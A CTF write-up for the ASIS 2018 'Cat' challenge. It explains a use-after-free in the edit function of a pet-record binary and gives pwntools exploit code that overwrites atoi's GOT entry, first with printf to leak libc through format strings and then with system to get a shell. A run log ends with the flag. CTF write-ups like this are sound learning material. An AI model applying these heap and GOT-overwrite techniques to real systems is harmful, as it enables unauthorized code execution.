ASIS CTF Quals 2018 - Cat
Register the cute pet! 🐱
nc 178.62.40.102 6000
Attachment: Cat libc-2.23.so xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
$$$$$$$\ $$\ $$$$$$$\ $$\ $$\
$$ __$$\ $$ | $$ __$$\ \__| $$ |
$$ | $$ | $$$$$$\ $$$$$$\ $$ | $$ | $$$$$$\ $$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
$$$$$$$ |$$ __$$\\_$$ _| $$$$$$$ |$$ __$$\ $$ __$$\ $$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\
$$ ____/ $$$$$$$$ | $$ | $$ __$$< $$$$$$$$ |$$ / $$ |$$ |\$$$$$$\ $$ | $$$$$$$$ |$$ | \__|
$$ | $$ ____| $$ |$$\ $$ | $$ |$$ ____|$$ | $$ |$$ | \____$$\ $$ |$$\ $$ ____|$$ |
$$ | \$$$$$$$\ \$$$$ | $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$ |$$$$$$$ | \$$$$ |\$$$$$$$\ $$ |
\__| \_______| \____/ \__| \__| \_______| \____$$ |\__|\_______/ \____/ \_______|\__|
$$\ $$ |
\$$$$$$ |
\______/
------------------------------------------------
1: create pet record
2: edit pet record
3: print record
4: print all record
5: delete record
6: exit
------------------------------------------------
which command?
>
When we create a pet, it will create a Pet
struct, in which it’s name, kind and age will be stored
struct Pet {
char* Name;
char* Kind;
long Age;
}
There’s nothing special in the pet creation, it will just malloc the memory for the Pet
struct, name, kind and reads into it.
But the edit_pet_record
function has a small caveat.
void edit_pet_record()
{
Pet *pet;
int index = read_index();
...
else if ( PET_TABLE[index] )
{
// If ptr is not NULL, this won't alloc new memory but reuse ptr
if ( !ptr )
{
ptr = malloc(0x18);
pet = ptr;
pet->Name = malloc(0x17);
pet->Kind = malloc(0x17);
}
printf("What's the pet's name?\n> ");
int read_bytes = read(0, ptr->Name, 0x16);
ptr->Name[read_bytes - 1] = 0;
printf("What's the pet's kind?\n> ");
read_bytes = read(0, ptr->Kind, 0x16);
ptr->Kind[read_bytes - 1] = 0;
printf("How old?\n> ");
read(0, &buf, 4);
pet->Age = atoi(&buf);
printf("Would you modify? (y)/n> ", &buf);
read(0, &buf, 4);
if ( buf == 'n' )
{
char *pPetName = ptr->Name;
char *pPetKind = ptr->Kind;
// ptr gets freed but the pointer won't be zeroed
free(ptr);
free(pPetName);
free(pPetKind);
}
else
{
free(PET_TABLE[index]->Name);
free(PET_TABLE[index]->Kind);
free(PET_TABLE[index]);
PET_TABLE[index] = ptr;
ptr = 0LL;
printf("edit id %d\n", index);
}
}
...
}
ptr
is a global pointer pointing to the current editing pet
and is used to read the data for modifying a pet.
When we entered all information, it will ask us, if we really want to modify the current pet. If so, it will free the memory allocated for our pet on the heap, and replace the entry in the PET_TABLE
with the ptr
chunk and zero it out.
But if we deny to modify it, it will free ptr
but don’t zero it out. So if we try to edit
a pet again, ptr
will still point to the freed memory, thus not getting reallocated and we have an UAF at hand.
We can use this, to create another pet, which will get the memory previously containing ptr
served by malloc and we still have the ptr
pointer pointing to it, so we can directly edit its content (which are the pointers for name and kind :))
Overview of the initial attack
- Create a pet
- Edit the pet without modifying. This will create
ptr
and free it without resetting it - Create another pet. This will create another chunk, which
kind
will overwrite the struct ofptr
and thus itsname
andkind
pointer - Let the
name
pointer ofptr
point toatoi
- Edit the pet again, but this time modify it
- This will write the name we give it to the pointer we just put there (=>
atoi got
) - Overwrite
atoi got
withprintf plt
- We can now use format string parameters to leak addresses from the stack
- This will write the name we give it to the pointer we just put there (=>
def exploit(r):
r.recvuntil("> ")
create_pet("A"*0x16, "B"*0x16, 100) # 0
edit_pet(0, "A"*0x16, "B"*0x16, 100, False)
payload = p64(e.got["atoi"])
payload += p64(0x602500)
payload += p64(0x602600)
create_pet("C"*0x16, payload, 100) # 1
log.info("Overwrite atoi with printf")
edit_pet(0, p64(e.plt["printf"]), p64(0xdeadbeef), 100, True)
r.interactive()
return
Since atoi
now points to printf
, every time, we enter a choice for the menu, the binary will call printf
on it instead of converting it to a number with atoi
.
Only problem, the binary only reads 4 bytes for the menu choice, so we cannot use arbitrary format strings, but it’s enough to leak first 10 format string parameters (which should contain a libc address).
There’s another way to get around this restriction, which I used to find out, which libc is used remote. Will show this at the end, since it’s not used in the final exploit at all.
log.info("Leak libc")
r.recvuntil("> ")
r.sendline("%3$p")
LEAK = int(r.recvuntil("Invalid", drop=True), 16)
libc.address = LEAK - 0xf7230 - 0x30
log.info("LEAK : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))
With libc base address at hand, we can now just overwrite atoi
again, but this time with system
.
We should note here, that our input won’t get converted to a number anymore, since atoi
isn’t existing anymore.
But printf
will return the number of bytes printed, so we just have to adapt, that instead of sending a 2
for edit_pet
we’ll be sending ..\x00
(which will result in a 2, when printf wrote it). See the attached exploit for the modifications on the create/edit functions to take care of that.
log.info("Overwrite atoi with system")
create_pet("D"*0x16, "E"*0x16, 100, True) # 2
edit_pet(2, "A"*0x16, "B"*0x16, 100, False, True)
payload = p64(e.got["atoi"])
payload += p64(0x602500)
payload += p64(0x602600)[:6]
create_pet("C"*0x16, payload, 100, True) # 3
edit_pet(0, p64(libc.symbols["system"]), p64(0xdeadbeef), 100, True)
Idea stays the same, now everything we enter for the menu, will be executed by system
instead of atoi
, but again only 4 bytes for input.
Well, that’s more than enough to send sh
, triggering a shell.
r.sendline("sh")
r.interactive()
And there we go
$ python xpl.py 1
[*] '/home/kileak/cat/Cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/kileak/cat/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 178.62.40.102 on port 6000: Done
[*] Overwrite atoi with printf
[*] Leak libc
[*] LEAK : 0x7f05469cc260
[*] LIBC : 0x7f05468d5000
[*] Overwrite atoi with system
[*] Switching to interactive mode
$ cat /home/pwn/flag
ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}
As a sidenote for finding the used libc. Instead of overwriting atoi
with printf
, we can also overwrite free
with printf
and put a format string into our pet record, which then gets parsed by printf
when we free that record.
Short example
create_pet("A"*0x16, "B"*0x16, 100)
edit_pet(0, "A"*0x16, "B"*0x16, 100, False)
payload = p64(e.got["free"])
payload += p64(0x602500)
payload += p64(0x602600)
create_pet("%17$pp", payload, 100)
edit_pet(0, p64(e.plt["printf"]), p64(0xdeadbeef), 100, True)
If we then free pet 1, it will print out the 17th parameter
$ 5
which id?
> $ 1
0x7f6cb8673830\x18 `\x90Ыdelete id 1
------------------------------------------------
which is __libc_start_main + 240
With libc-database
, we can then find the used libc
./find __libc_start_main 740
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
But I’d overwrite free
with printf
only for the initial leaking, because we lose the possibility to do another UAF afterwards otherwise.